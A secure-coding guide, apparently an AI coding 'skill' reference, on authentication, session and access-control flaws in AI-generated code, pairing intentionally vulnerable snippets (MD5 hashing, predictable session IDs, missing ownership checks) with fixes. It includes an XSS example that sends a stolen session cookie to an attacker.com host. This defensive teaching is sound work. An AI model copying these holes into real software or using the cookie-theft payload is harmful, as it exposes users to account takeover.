Authentication and Authorization Defects in AI-Generated Code
The Systemic Nature of Auth Vulnerabilities
A 2025 study by Databricks revealed:
"AI-generated authentication systems frequently incorporate outdated patterns and fail to implement modern security practices, creating what we call 'authentication debt' in codebases."
The Statistics
The research found that:
- •73% of AI-generated authentication code lacked proper session management
- •81% stored passwords insecurely (MD5, SHA1, or plaintext)
These aren't edge cases—they're the norm in AI-generated authentication code.
1.2.1 Insecure Password Storage
The Problem
The most alarming finding from multiple studies is the prevalence of plaintext or weakly hashed password storage in AI-generated code.
As noted by Infisical's security team:
"AI models trained on older codebases often suggest MD5 or SHA1 for password hashing, algorithms that have been cryptographically broken for over a decade."
AI-Generated Vulnerable Code
# Prompt: "Implement user registration with password"
import hashlib
import mysql.connector
def register_user(username, password, email):
conn = mysql.connector.connect(host='localhost', database='app')
cursor = conn.cursor()
# ❌ VULNERABLE: MD5 is cryptographically broken
password_hash = hashlib.md5(password.encode()).hexdigest()
# ❌ VULNERABLE: No salt means identical passwords have identical hashes
query = "INSERT INTO users (username, password, email) VALUES (%s, %s, %s)"
cursor.execute(query, (username, password_hash, email))
conn.commit()
return {"status": "success", "user_id": cursor.lastrowid}
# Even worse: Some AI models generate this
def register_user_worse(username, password, email):
# ❌ CRITICAL: Storing plaintext passwords
user_data = {
"username": username,
"password": password, # Never do this!
"email": email
}
database.save(user_data)
Secure Implementation
import bcrypt
import secrets
from datetime import datetime, timedelta
def register_user_secure(username, password, email):
# ✅ SECURE: Validate password strength
if len(password) < 12:
raise ValueError("Password must be at least 12 characters")
# ✅ SECURE: Use bcrypt with cost factor 12
salt = bcrypt.gensalt(rounds=12)
password_hash = bcrypt.hashpw(password.encode('utf-8'), salt)
# ✅ SECURE: Generate secure activation token
activation_token = secrets.token_urlsafe(32)
token_expiry = datetime.utcnow() + timedelta(hours=24)
user_data = {
"username": username,
"password_hash": password_hash,
"email": email,
"activation_token": activation_token,
"token_expiry": token_expiry,
"is_active": False,
"created_at": datetime.utcnow(),
"failed_login_attempts": 0,
"last_failed_login": None
}
# Store with proper error handling
try:
user_id = database.create_user(user_data)
send_activation_email(email, activation_token)
return {"status": "success", "message": "Check email for activation"}
except IntegrityError:
return {"status": "error", "message": "Username or email already exists"}
Why AI Generates Insecure Password Storage
1. Training Data from Older Code:
- •Millions of examples from 2000s-2010s use MD5/SHA1
- •AI learns these as "standard" approaches
- •Doesn't know they're cryptographically broken
2. Simplicity Bias:
- •
hashlib.md5()is simpler thanbcrypt.gensalt() - •Fewer lines of code
- •No external dependencies in simple example
3. Missing Security Knowledge:
- •AI doesn't understand rainbow tables
- •Can't reason about hash collision attacks
- •Doesn't know MD5 is broken
Why MD5/SHA1 Are Broken
MD5 Problems:
- •Can be computed billions of times per second on modern GPUs
- •8-character password: cracked in minutes
- •Rainbow tables exist for common passwords
- •Collision attacks demonstrated since 2004
SHA1 Problems:
- •Also too fast to compute
- •Google demonstrated practical collision attack (2017)
- •NIST deprecated for cryptographic use (2011)
What "Cryptographically Broken" Means: Not that hashes can be "decrypted" (they can't), but that:
- •Brute force is too fast
- •Collision attacks are practical
- •No computational cost for attackers
What Secure Hashing Requires
bcrypt (Recommended):
- •Adaptive cost factor: Can be increased as hardware improves
- •Built-in salt: Unique per password
- •Slow by design: Makes brute force impractical
- •Industry standard: Widely audited and trusted
Cost Factor:
# Cost factor = 12 (recommended) # 2^12 = 4,096 iterations # Makes each hash computation slower # Attacker must do 4,096 iterations per attempt
Real-World Password Storage Breaches
Ashley Madison (2015):
- •Custom authentication with weak password hashing
- •32 million accounts compromised
- •Passwords cracked within days
- •Company nearly destroyed
Dropbox (2012):
- •Custom authentication led to password hash database theft
- •68 million accounts affected
- •Many passwords cracked from hashes
- •Years of credential stuffing attacks followed
LinkedIn (2012):
- •Used unsalted SHA-1 for passwords
- •117 million password hashes stolen
- •90% of passwords cracked within days
- •Used in credential stuffing attacks for years
The Secure Alternative: Use Clerk
According to Veracode's 2024 report:
Applications using managed authentication services (like Clerk, Auth0) had 73% fewer authentication-related vulnerabilities than those with custom authentication.
Why Clerk is Secure:
- •✅ Uses bcrypt/Argon2 (modern, secure algorithms)
- •✅ Proper salt generation
- •✅ SOC 2 certified (audited security controls)
- •✅ Regular security updates
- •✅ Professional security team maintaining code
1.2.2 Broken Session Management
The Problem
Research from The Hacker News found:
"AI-generated session management code often lacks proper timeout mechanisms, secure cookie flags, and session fixation protection."
This creates multiple attack vectors for session hijacking.
AI-Generated Vulnerable Code
// Prompt: "Implement user sessions"
const sessions = {};
app.post('/login', async (req, res) => {
const { username, password } = req.body;
if (await validateCredentials(username, password)) {
// ❌ VULNERABLE: Predictable session ID
const sessionId = Buffer.from(username + Date.now()).toString('base64');
// ❌ VULNERABLE: No expiration
sessions[sessionId] = {
username: username,
loginTime: Date.now()
};
// ❌ VULNERABLE: Missing security flags
res.cookie('sessionId', sessionId);
res.json({ success: true });
}
});
app.get('/profile', (req, res) => {
const sessionId = req.cookies.sessionId;
// ❌ VULNERABLE: No session validation or renewal
if (sessions[sessionId]) {
const userData = getUserData(sessions[sessionId].username);
res.json(userData);
}
});
Multiple Vulnerabilities in This Code
1. Predictable Session IDs:
const sessionId = Buffer.from(username + Date.now()).toString('base64');
Problem:
- •Attacker knows username (public)
- •Can guess timestamp (Date.now() when login occurred)
- •Can recreate session ID and hijack session
2. No Session Expiration:
sessions[sessionId] = { username, loginTime }
Problem:
- •Session never expires
- •Stolen session valid forever
- •No automatic logout
3. Missing Cookie Security Flags:
res.cookie('sessionId', sessionId);
Problem:
- •No
httpOnly: JavaScript can access (XSS steals session) - •No
secure: Sent over HTTP (man-in-the-middle) - •No
sameSite: Vulnerable to CSRF
4. In-Memory Storage:
const sessions = {};
Problem:
- •Lost on server restart
- •Doesn't scale (multiple servers)
- •No persistence
5. No Session Validation:
if (sessions[sessionId]) { /* grant access */ }
Problem:
- •No IP validation (session stolen from different location works)
- •No user-agent check (different browser works)
- •No session renewal (stale sessions accepted)
Secure Implementation
const crypto = require('crypto');
const redis = require('redis');
const client = redis.createClient();
// Session configuration
const SESSION_DURATION = 3600; // 1 hour in seconds
const SESSION_RENEWAL_THRESHOLD = 900; // Renew if less than 15 min remaining
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// ✅ SECURE: Rate limiting
const attempts = await getFailedAttempts(username);
if (attempts > 5) {
return res.status(429).json({ error: 'Too many failed attempts' });
}
if (await validateCredentials(username, password)) {
// ✅ SECURE: Cryptographically secure session ID
const sessionId = crypto.randomBytes(32).toString('hex');
// ✅ SECURE: Store session data in Redis with expiration
const sessionData = {
username: username,
loginTime: Date.now(),
lastActivity: Date.now(),
ipAddress: req.ip,
userAgent: req.get('user-agent')
};
await client.setex(
`session:${sessionId}`,
SESSION_DURATION,
JSON.stringify(sessionData)
);
// ✅ SECURE: Secure cookie configuration
res.cookie('sessionId', sessionId, {
httpOnly: true, // Prevent XSS access
secure: true, // HTTPS only
sameSite: 'strict', // CSRF protection
maxAge: SESSION_DURATION * 1000
});
// Clear failed attempts
await clearFailedAttempts(username);
res.json({ success: true });
} else {
await incrementFailedAttempts(username);
res.status(401).json({ error: 'Invalid credentials' });
}
});
// Middleware for session validation and renewal
async function validateSession(req, res, next) {
const sessionId = req.cookies.sessionId;
if (!sessionId) {
return res.status(401).json({ error: 'No session' });
}
const sessionData = await client.get(`session:${sessionId}`);
if (!sessionData) {
return res.status(401).json({ error: 'Invalid session' });
}
const session = JSON.parse(sessionData);
// ✅ SECURE: Validate session consistency
if (session.ipAddress !== req.ip) {
await client.del(`session:${sessionId}`);
return res.status(401).json({ error: 'Session invalidated' });
}
// ✅ SECURE: Automatic session renewal
const ttl = await client.ttl(`session:${sessionId}`);
if (ttl < SESSION_RENEWAL_THRESHOLD) {
await client.expire(`session:${sessionId}`, SESSION_DURATION);
}
// Update last activity
session.lastActivity = Date.now();
await client.setex(
`session:${sessionId}`,
SESSION_DURATION,
JSON.stringify(session)
);
req.session = session;
next();
}
app.get('/profile', validateSession, (req, res) => {
const userData = getUserData(req.session.username);
res.json(userData);
});
Why AI Generates Broken Sessions
1. Complexity Avoidance:
- •Redis requires external dependency
- •crypto.randomBytes() less common than Buffer/base64
- •Proper session management is complex
2. Training Data Shortcuts:
- •Tutorial code uses in-memory storage for simplicity
- •Examples skip security flags for brevity
- •AI learns simplified patterns
3. Functional Focus:
- •Session "works" without security features
- •Tests pass without expiration/renewal
- •AI optimizes for functionality, not security
Session Attack Scenarios
Attack 1: Predictable ID Guessing
// Vulnerable session ID
sessionId = Buffer.from("john_doe" + "1704067200000").toString('base64');
// Attacker guesses:
// - Username: from public profile
// - Timestamp: login time (± few minutes)
// → Can recreate session ID
Attack 2: XSS Session Theft
// Without httpOnly flag
<script>
const sessionId = document.cookie.match(/sessionId=([^;]+)/)[1];
fetch('https://attacker.com/steal?session=' + sessionId);
</script>
// Steals session cookie via XSS
Attack 3: Session Fixation
// Attacker sets victim's session ID before login // Victim logs in with attacker's session ID // Attacker now logged in as victim
1.2.3 Broken Access Control
The Problem
According to analytics from ZenCoder:
"Authorization bugs in AI-generated code are particularly dangerous because they often pass functional tests while leaving gaping security holes."
The AI frequently generates code that:
- •✅ Checks if user is authenticated (logged in)
- •❌ Fails to verify if user is authorized (has permission)
AI-Generated Vulnerable Code
# Prompt: "Create API to fetch user documents"
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/api/document/<doc_id>')
@require_login # Checks if user is logged in
def get_document(doc_id):
# ❌ VULNERABLE: No authorization check
# Any logged-in user can access any document
document = db.documents.find_one({'id': doc_id})
if document:
return jsonify(document)
else:
return jsonify({'error': 'Document not found'}), 404
@app.route('/api/user/<user_id>/profile')
@require_login
def get_user_profile(user_id):
# ❌ VULNERABLE: No verification that current user can access this profile
profile = db.profiles.find_one({'user_id': user_id})
return jsonify(profile)
Why This Is Vulnerable
Authentication ≠ Authorization
Authentication: "Who are you?"
- •Proves identity (username + password, token, etc.)
- •Confirms you are a valid user
Authorization: "What can you do?"
- •Checks permissions for specific resources
- •Verifies ownership or access rights
The Vulnerability:
@app.route('/api/document/<doc_id>')
@require_login # ✓ User authenticated
def get_document(doc_id):
document = db.documents.find_one({'id': doc_id})
return jsonify(document) # ✗ But can access ANY document!
Attack:
- •Alice creates private document (doc_123)
- •Bob logs in (authenticated)
- •Bob requests
/api/document/doc_123 - •Server returns Alice's private document ❌
Secure Implementation
from flask import Flask, request, jsonify, g
from functools import wraps
import jwt
app = Flask(__name__)
def require_authorization(resource_type):
def decorator(f):
@wraps(f)
def decorated_function(*args, **kwargs):
# ✅ SECURE: Extract and verify JWT token
token = request.headers.get('Authorization', '').replace('Bearer ', '')
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
g.current_user = payload
except jwt.InvalidTokenError:
return jsonify({'error': 'Invalid token'}), 401
# ✅ SECURE: Check specific permissions
if resource_type == 'document':
doc_id = kwargs.get('doc_id')
if not can_access_document(g.current_user['id'], doc_id):
return jsonify({'error': 'Access denied'}), 403
elif resource_type == 'profile':
user_id = kwargs.get('user_id')
if not can_access_profile(g.current_user['id'], user_id):
return jsonify({'error': 'Access denied'}), 403
return f(*args, **kwargs)
return decorated_function
return decorator
def can_access_document(current_user_id, doc_id):
# ✅ SECURE: Verify document ownership or sharing permissions
document = db.documents.find_one({
'id': doc_id,
'$or': [
{'owner_id': current_user_id},
{'shared_with': current_user_id},
{'is_public': True}
]
})
return document is not None
def can_access_profile(current_user_id, target_user_id):
# ✅ SECURE: Users can only access their own profile or public profiles
if current_user_id == target_user_id:
return True
# Check if target profile is public
profile = db.profiles.find_one({'user_id': target_user_id})
return profile and profile.get('is_public', False)
@app.route('/api/document/<doc_id>')
@require_authorization('document')
def get_document(doc_id):
# ✅ SECURE: Additional access logging
log_access(g.current_user['id'], 'document', doc_id)
document = db.documents.find_one({'id': doc_id})
# ✅ SECURE: Sanitize sensitive fields based on permissions
if document['owner_id'] != g.current_user['id']:
document.pop('edit_history', None)
document.pop('internal_notes', None)
return jsonify(document)
@app.route('/api/user/<user_id>/profile')
@require_authorization('profile')
def get_user_profile(user_id):
profile = db.profiles.find_one({'user_id': user_id})
# ✅ SECURE: Return different data based on access level
if g.current_user['id'] != user_id:
# Return only public fields for other users
public_fields = ['username', 'bio', 'avatar_url', 'created_at']
profile = {k: v for k, v in profile.items() if k in public_fields}
return jsonify(profile)
Why AI Fails at Access Control
1. Function Over Security:
- •Prompt: "Fetch user documents"
- •AI focuses on "fetch" logic
- •Skips "who can fetch" logic
2. Test Coverage Blind Spot:
- •Functional test: "Can I fetch my documents?" ✓ Pass
- •Security test: "Can I fetch other users' documents?" ✗ Not tested
- •AI generates code that passes functional tests
3. Decorator Misunderstanding:
- •
@require_loginseems security-related - •AI assumes it's sufficient
- •Doesn't add authorization logic
Access Control Attack Patterns
Attack 1: Direct Object Reference
# Vulnerable endpoint GET /api/user/123/orders # Attack: Change ID GET /api/user/456/orders # Access other user's orders
Attack 2: Parameter Tampering
// Vulnerable code
app.delete('/api/post/:id', async (req, res) => {
await db.posts.delete({ id: req.params.id });
// Missing: check if current user owns this post
});
// Attack: Delete anyone's posts
DELETE /api/post/any-post-id
Attack 3: Privilege Escalation
# Vulnerable code
@app.route('/api/admin/users')
@require_login
def list_users():
return jsonify(db.users.find()) # Missing: check if user is admin
Real-World Authentication Breach Examples
Ashley Madison (2015)
- •Vulnerability: Weak password hashing
- •Impact: 32 million accounts compromised
- •Outcome: Company reputation destroyed, lawsuits, executive resignations
Dropbox (2012)
- •Vulnerability: Custom authentication system flaws
- •Impact: 68 million accounts affected
- •Outcome: Password hash database stolen, years of credential stuffing attacks
LinkedIn (2012)
- •Vulnerability: Unsalted SHA-1 password hashing
- •Impact: 117 million password hashes stolen
- •Outcome: 90% cracked within days, used in attacks for years
Implementation: Secure Authentication with Clerk
For this Next.js project, use Clerk instead of building custom auth:
// app/api/protected/route.ts
import { auth } from '@clerk/nextjs/server';
import { handleUnauthorizedError, handleForbiddenError } from '@/lib/errorHandler';
export async function GET(request: NextRequest) {
// ✅ SECURE: Clerk handles authentication
const { userId } = await auth();
if (!userId) {
return handleUnauthorizedError();
}
// ✅ SECURE: Check authorization (ownership)
const document = await db.documents.findOne({ id: docId });
if (document.userId !== userId) {
return handleForbiddenError('You do not have access to this document');
}
return NextResponse.json({ document });
}
What Clerk Provides:
- •✅ bcrypt/Argon2 password hashing
- •✅ Secure session management
- •✅ Automatic expiration/renewal
- •✅ httpOnly, secure, sameSite cookies
- •✅ MFA support
- •✅ Account lockout
- •✅ SOC 2 certification
→ See auth-security skill for complete Clerk implementation guide
Statistics Summary
| Vulnerability | AI Occurrence Rate | Impact |
|---|---|---|
| Weak password hashing (MD5/SHA1) | 81% | Credential theft |
| Plaintext password storage | ~15% | Critical breach |
| No session expiration | 73% | Indefinite access |
| Missing cookie security flags | ~80% | XSS/CSRF/MITM |
| Predictable session IDs | ~40% | Session hijacking |
| Missing authorization checks | ~60% | Access control bypass |
Source: Databricks 2025 AI Security Study, Veracode 2024 Report
See Also
Implementation Skills (How to Fix)
→ auth-security skill - Use Clerk for secure authentication
→ error-handling skill - Handle auth errors (401, 403)
→ security-testing skill - Test authentication and authorization
Related Awareness Skills
→ information-leakage skill - Credentials in logs
→ injection-vulnerabilities skill - Auth bypass via SQL injection
→ awareness-overview skill - Overall AI security risks
Key Takeaways
✅ 81% of AI auth code stores passwords insecurely ✅ 73% lacks proper session management ✅ Authentication ≠ Authorization - AI often checks one, not both ✅ Real-world breaches prove custom auth is high-risk ✅ Solution: Use Clerk (73% fewer vulnerabilities) ✅ Testing: Verify ownership checks before allowing access
Remember: Building secure authentication takes 2-4 weeks for experts. For vibe coders: use Clerk, not custom code.
Related References:
[9] Databricks. (2025). "Passing the Security Vibe Check: The Dangers of Vibe Coding." [10] Infisical. (2025). "A Vibe Coding Security Playbook: Keeping AI-Generated Code Safe." [11] The Hacker News. (2025). "Secure Vibe Coding: The Complete New Guide." [12] ZenCoder. (2025). "5 Vibe Coding Risks and Ways to Avoid Them in 2025."